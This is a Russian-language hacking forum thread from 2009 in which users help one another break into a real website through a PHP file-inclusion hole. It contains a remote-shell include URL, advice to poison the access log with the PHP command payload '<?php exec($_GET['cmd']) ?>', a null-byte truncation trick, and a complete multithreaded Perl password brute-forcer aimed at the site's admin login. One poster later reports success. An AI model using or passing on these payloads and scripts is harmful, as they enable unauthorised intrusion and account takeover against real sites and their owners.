Инклюд )

Discussion in 'Болталка' started by DeepBlue7, 27 Jan 2009.

  1. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Вообщем нашел сайтег.... довольно популярный... там php инклюдинг... При вводе несуществующей страницы вылитает

    Code:
    Warning: include() [function.include]: URL file-access is disabled in the server configuration in /hosting/www/main/samp/v2/index.php on line 369
    
    Warning: include(http://someweb.com/shell.php) [function.include]: failed to open stream: no suitable wrapper could be found in /hosting/www/main/samp/v2/index.php on line 369
    
    Warning: include() [function.include]: Failed opening 'http://someweb.com/shell.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /hosting/www/main/samp/v2/index.php on line 369
    


    Инклюд типа

    Code:
    someweb.ru/v2/index.php?page=http://someweb.com/shell&lang=ru&PHPSESSID=0548fe13c6b6c63e4bbd59538e1c77da 


    Есть какие либо варианты как залить шелл ?
     
  2. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    581
    Reputations:
    256
    Удаленный инклюд запрещен, попробуй залить шелл, к примеру, как картинку, и проинклюдь его.

    ps: _http://www.dyc.lv ? :D
     
    #2 oRb, 27 Jan 2009
    Last edited: 27 Jan 2009
  3. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    попробуй залить через логи,
    только учти попытка будет всего одна ;)
    а потом проведи локальный инклуд.
     
  4. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Эт как ? :p Что ты имееш в виду ? :D
     
  5. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    например делаешь запрос к существующей странице
    www.site.com/index.php?myadd=<?php exec($_GET['cmd']) ?>

    этот запрос должен попасть в access.log
    после этого нужно этот аксес-лог проинклудить.

    и по идее утебя получится мини шелл... после этого можешь уже загрузить чтото посущественнее.
     
  6. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    ...или пробрути (perl; в password.txt пароли):
    PHP:
    #! /usr/bin/perl -w

    use IO::Socket;
    use 
    warnings;
    use 
    threads;
    use 
    threads::shared;
    use 
    Fcntl ':flock';

    print 
    "
     simple brute
     by eLwaux
           \n"
    ;

    my $threads    10;
    my $host 'dyc.lv';
    my $login 'http://www.dyc.lv/v2/admins.php';

    open (FILE'<password.txt') || die(" [-] icqmailc.com.pass.txt not found!\n");
    my @pas shared = <FILE>;
    chomp(@pas);
    close(FILE);

    $time      time
    printf " [ ] started [".localtime()."]\n\n";

    for(
    0..$threads) {$trl[$_] = threads->create(\&Brut$_);}
    for(@
    trl) { $_->join; }

    $time time-$time;
    printf "\n [ ] finished [".localtime()."]\n";
    printf " [i] time elapsed: $time sec\n";

    <
    stdin>;

    sub Brut{

        while(@
    pas)
        {    
            {
    lock(@pas);$pasw shift @pas;}        
        
            
    $post    'parole='.$pasw;
            
    $header  
                   
    "POST ".$login." HTTP/1.1\r\n".
                   
    "Host: ".$host."\r\n".
                   
    "User-Agent: mde\r\n".
                   
    "Referer: ".$login."\r\n".
                   
    "Cookie: hello=world;\r\n".
                   
    "Content-Length: ".length($post)."\r\n\r\n".
                   
    "$post\r\n\r\n";
            
            
    my $sock sock();
            print 
    $sock $header;            

            
    my $answ;
            while(
    my $answer = <$sock>){$answ.=$answer;}
            
            if (
    length($answ)==947) {print ' - ';}
            else {print 
    ' +++++++++++ ';}
            print 
    $pasw."\n";
                    
            
    close($sock);        
        }
    }

    #create new socket connection
    sub sock {
        
    my $sock;
        do {
            
    $sock = new IO::Socket::INET 
                
    (
                    
    PeerAddr => $host,
                       
    PeerPort => 80,
                       
    PeerProto => 'tcp'
                       
    TimeOut => 10
                
    ) or print "[-] connection error!";
            } while (!
    $sock);
        return 
    $sock;
    }
    :D
     
  7. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Да в том то и прикол что он после названия добавляет еще и .php
     
  8. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    %00
    ?cmd=http://site.ua/shell.php?
     
  9. Daboy

    Daboy Guest

    Reputations:
    0
    УРА! Спасибо у меня получилось.
    Скрин:
    [​IMG]
    А у вас?
     
    #9 Daboy, 4 Mar 2009
    Last edited by a moderator: 4 Mar 2009
  10. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Сбрутил что ли? о_0